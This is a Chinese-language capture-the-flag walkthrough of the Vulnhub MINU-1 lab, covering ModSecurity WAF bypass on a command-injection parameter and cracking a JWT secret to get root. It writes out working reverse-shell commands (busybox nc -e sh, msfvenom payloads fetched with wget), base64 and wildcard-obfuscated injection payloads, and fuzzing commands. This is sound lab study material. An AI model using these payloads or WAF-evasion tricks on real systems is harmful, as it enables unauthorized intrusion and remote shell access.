Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目二十四:MINU-1(WAF绕过,JWT爆破)
靶场地址
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月26日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
二、web突破
信息收集
namp [ip]
发现只有一个80端口开放,然后目前思路就只有web页面的信息收集,漏扫等,因为干不了别的
dirb http://[ip]
nikto -h [ip]
AWVS一顿扫
啥都没有,就不放图了,啥都没有,(dirb扫出来全是403,怀疑开了waf,因为正常网站全是403肯定有问题,被人为屏蔽了呗)唯一知道这是一个apache的中间件,这里提一个扫描的细节,我们知道很多的网站都用的php,所以我们可以单独扫一扫php文件,因为用的多,然后不扫html是因为那是静态页面,没啥大用
dirb http://192.168.3.88/ -X .php
发现了如下页面
WAF绕过
http://192.168.56.104/test.php?file=last.html
看到这个时候,我脑子里就两个词,sql和文件包含
然后就立即用…/…/…/…/…/etc/psswd测试了一下,发现又是403
这个时候我就已经很确定这里存在waf了
这里专门要说一下,因为这个靶场比较老,建议整个老版waf00f或者用老机器
扫出来waf是modsecurity
然后
https://www.freebuf.com/articles/web/184414.html
我先是搜了一下,怎个么绕过,这篇文章里给出了$u和;绕过,经过我的实验
$u绕过
那就可以上传一个脚本,然后反弹回来呗
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.247.129 lport=4455 -f elf > shell
url中输入:
?file=$u wget http://192.168.247.129:8082/shell -o /tmp/shell
?file=$u ls /tmp/shell
?file=$uchmod +x /tmp/shell
?file=$u./tmp/shell
但是这里有个坑,就是
可以看到他文件大小是0,说明空间满了上传成功了但是里面没东西
;与二进制绕过
busybox是linux安装之初就携带的一个二进制文件,他带有shell,可以执行命令,很多waf可能也会疏忽,是一个思路
分号“;” 隔离绕过waf!
可以在不受限制和不同的二进制文件中执行命令来绕过本地安全限制!
二进制文件的列表:https://gtfobins.github.io/
最终发现:https://gtfobins.github.io/gtfobins/busybox/可以绕过waf
http://192.168.3.88/test.php?file=dayu;busybox nc 192.168.3.86 6666 -e sh
http://192.168.3.88/test.php?file=dayu;busybox nc 192.168.3.86 6666 -e sh -i
加入个 -i 就可以直接获得正常稳定shell!
&、编码绕过
1)直接输入:
&/bin/echo nc -e /bin/sh 192.168.56.101 1337|/bin/sh
不行,那就混淆一下:
2)第一次混淆输入:
&/bin/echo bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQuMTYyIDEzMzc=|/usr/bin/base64 -d|/bin/sh
```
会报错!再混淆:
?问号在linux中以命令使用着,例如:/bin/echo可以通过替换一些字母来调用,/bin/ech?,仍然会执行相同的命令!
3)第三次混淆
&/bin/ech? bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQuMTYyIDEzMzc=|/u?r/bin/b?se64 -d|/bin/?h
还是不起作用!继续混淆:一些过滤器会禁止添加=或&到URI进行请求。
改&为%26 ---URL编码
4)第四次混淆
http://192.168.56.104/test.php?file=%26/bin/ech? bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjU2LjEwMyA2NjY2ICAK|/u?r/b?n/b?se64 -d|/bin/?h
解释:
nc -e /bin/sh 192.168.56.101 1337 ---这个是有==号的不允许
echo "nc -e /bin/sh 192.168.56.101 1337 " | base64
echo "nc -e /bin/sh 192.168.56.104 6666 " | base64
加一个空格就少一个=
总结
1)知道了cat执行命令,那么用&符号:
& 符号url编码是%26,结束并开始一个新的命令!
2)%20 ---空格
3)bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjMuODYgMTMzNyAgICAgICAK ---base64编码
(这里==也在黑名单上)
4)/u?r/b?n/b?se64%20-d是url编码的绕过方法:/usr/bin/base64 -d
5)|/b?n/sh也是一种绕过:|/bin/sh
模糊测试绕过
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 304 http://192.168.56.104/test.php?file=FUZZ |grep dir
之所以要筛选出来一个dir,就是因为这个模糊测试的脚本中有一个|dir,是一个重要的判别依据,file是类型,因为url中式file,所以说明他的传入参数类型是文件,这里使用file可以尽可能精确
可以看到|dir可以绕过
但是在执行别的命令式还是不行,所以这个放弃
最终靠$u以及busybox绕过了
三、提权
uname -a
which gcc
sudo --version
sudo -l
无法上传任何东西,因为没有空间了
在/home/bob下
ls -la
发现了一个可疑文件,但是打不开,所以就传给自己本地
python3 -m http.server 8080
wget http:?/192.168.56.104:8080/._pw_
mv ._pw_ pw -改个名
cat pw 发现是base64,那就拿来解密,发现有.这个无效字符,那就给他筛选掉,要去kali里面操作
1)base64
cat pw | base64 -d
{"alg":"HS256","typ":"JWT"}base64: 输入无效
第一部分枚举到信息是hs256、JWT?发现内容包含“.”点不是有效的base64字符
过滤点:
cat pw | cut -d "." -f 2 | base64 -d
{"sub":"1234567890","name":"John Doe","iat":1516239022}base64: 输入无效
发现第二部分是1~0,人名,还是未解析完!
cat pw | cut -d "." -f 3 | base64 -d
~y P "k 1 , C [}base64: 输入无效
发现第三部分是二进制!
JWP爆破
JSON Web Token(JWT)是一个开放的行业标准(RFC
7519),它定义了一种简介的、自包含的协议格式,用于在通信双方传递json对象,传递的信息经过数字签名可以被验证和信任。JWT可以使用HMAC算法或使用RSA的公
钥/私钥对来签名,防止被篡改。 参考:
https://blog.csdn.net/guohao_1/article/details/89951178
在线查看: https://jwt.io/#debugger
开始破解:
git clone https://gitee.com/mmylzy/c-jwt-cracker.git
cd jwt-cracker
apt-get install libssl-dev
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
Secret is “mlnV1” ----等待几分钟
这个就是root的账号密码,然后就没事了
完工